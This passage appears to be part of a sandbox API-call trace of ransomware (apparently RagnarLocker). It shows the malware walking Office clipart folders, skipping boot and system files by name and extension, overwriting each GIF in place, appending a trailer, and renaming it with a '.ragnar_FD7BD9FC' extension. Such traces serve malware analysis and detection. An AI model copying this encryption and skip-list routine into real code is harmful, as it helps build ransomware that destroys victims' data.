lpNewFilePointer=0x0) returned 1 [0093.367] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x20ee, lpOverlapped=0x0) returned 1 [0093.368] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.368] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.369] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20ee, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x20ee, lpOverlapped=0x0) returned 1 [0093.369] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.369] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.369] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x20ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.369] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.369] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.369] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.369] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.369] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.369] GetProcessHeap () returned 0x580000 [0093.369] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.369] CloseHandle (hObject=0x104) returned 1 [0093.369] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" [0093.369] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.ragnar_FD7BD9FC" [0093.370] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.372] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0093.372] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.372] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB00703L.GIF" | out: lpString1="WB00703L.GIF") returned="WB00703L.GIF" [0093.372] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned=".GIF" [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="autorun.inf") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="boot.ini") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="bootfont.bin") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="bootsect.bak") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="bootmgr") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="bootmgr.efi") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="desktop.ini") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="iconcache.db") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="ntldr") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="ntuser.dat") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="ntuser.ini") returned 1 [0093.372] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="thumbs.db") returned 1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.372] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif")) returned 0x20 [0093.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.373] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8230) returned 1 [0093.373] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x201d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.373] GetProcessHeap () returned 0x580000 [0093.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.373] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2026, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.375] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.375] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.375] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2026, lpOverlapped=0x0) returned 1 [0093.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.376] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2026, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.376] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2026, lpOverlapped=0x0) returned 1 [0093.376] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2026, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.376] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.377] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2026, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.377] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.377] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.377] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.377] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.377] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.377] GetProcessHeap () returned 0x580000 [0093.377] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.377] CloseHandle (hObject=0x104) returned 1 [0093.377] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" [0093.377] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.ragnar_FD7BD9FC" [0093.377] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.378] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0093.378] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.378] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB00760L.GIF" | out: lpString1="WB00760L.GIF") returned="WB00760L.GIF" [0093.378] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned=".GIF" [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="autorun.inf") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="boot.ini") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="bootfont.bin") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="bootsect.bak") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="bootmgr") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="bootmgr.efi") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="desktop.ini") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="iconcache.db") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="ntldr") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="ntuser.dat") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="ntuser.ini") returned 1 [0093.378] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="thumbs.db") returned 1 [0093.378] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.378] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.378] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.378] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.378] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.379] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.379] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif")) returned 0x20 [0093.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.379] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8979) returned 1 [0093.379] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x230a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.379] GetProcessHeap () returned 0x580000 [0093.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.379] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2313, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.381] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.381] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.381] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2313, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2313, lpOverlapped=0x0) returned 1 [0093.382] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.382] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2313, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.382] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2313, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2313, lpOverlapped=0x0) returned 1 [0093.383] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2313, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.383] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.383] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2313, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.383] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.383] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.383] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.383] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.383] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.383] GetProcessHeap () returned 0x580000 [0093.383] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.383] CloseHandle (hObject=0x104) returned 1 [0093.383] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" [0093.383] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.ragnar_FD7BD9FC" [0093.383] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.384] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0093.384] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.384] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB00780L.GIF" | out: lpString1="WB00780L.GIF") returned="WB00780L.GIF" [0093.384] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned=".GIF" [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="autorun.inf") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="boot.ini") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="bootfont.bin") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="bootsect.bak") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="bootmgr") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="bootmgr.efi") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="bootmgfw.efi") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="desktop.ini") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="iconcache.db") returned 1 [0093.384] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="ntldr") returned 1 [0093.385] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="ntuser.dat") returned 1 [0093.385] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="ntuser.dat.log") returned 1 [0093.385] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="ntuser.ini") returned 1 [0093.385] lstrcmpiW (lpString1="WB00780L.GIF", lpString2="thumbs.db") returned 1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.385] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif")) returned 0x20 [0093.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.385] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8079) returned 1 [0093.385] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1f86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.385] GetProcessHeap () returned 0x580000 [0093.386] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.386] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.389] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.389] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.389] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.389] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f8f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f8f, lpOverlapped=0x0) returned 1 [0093.390] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.390] LockFile (hFile=0x104, dwFileOffsetLow=0x1, 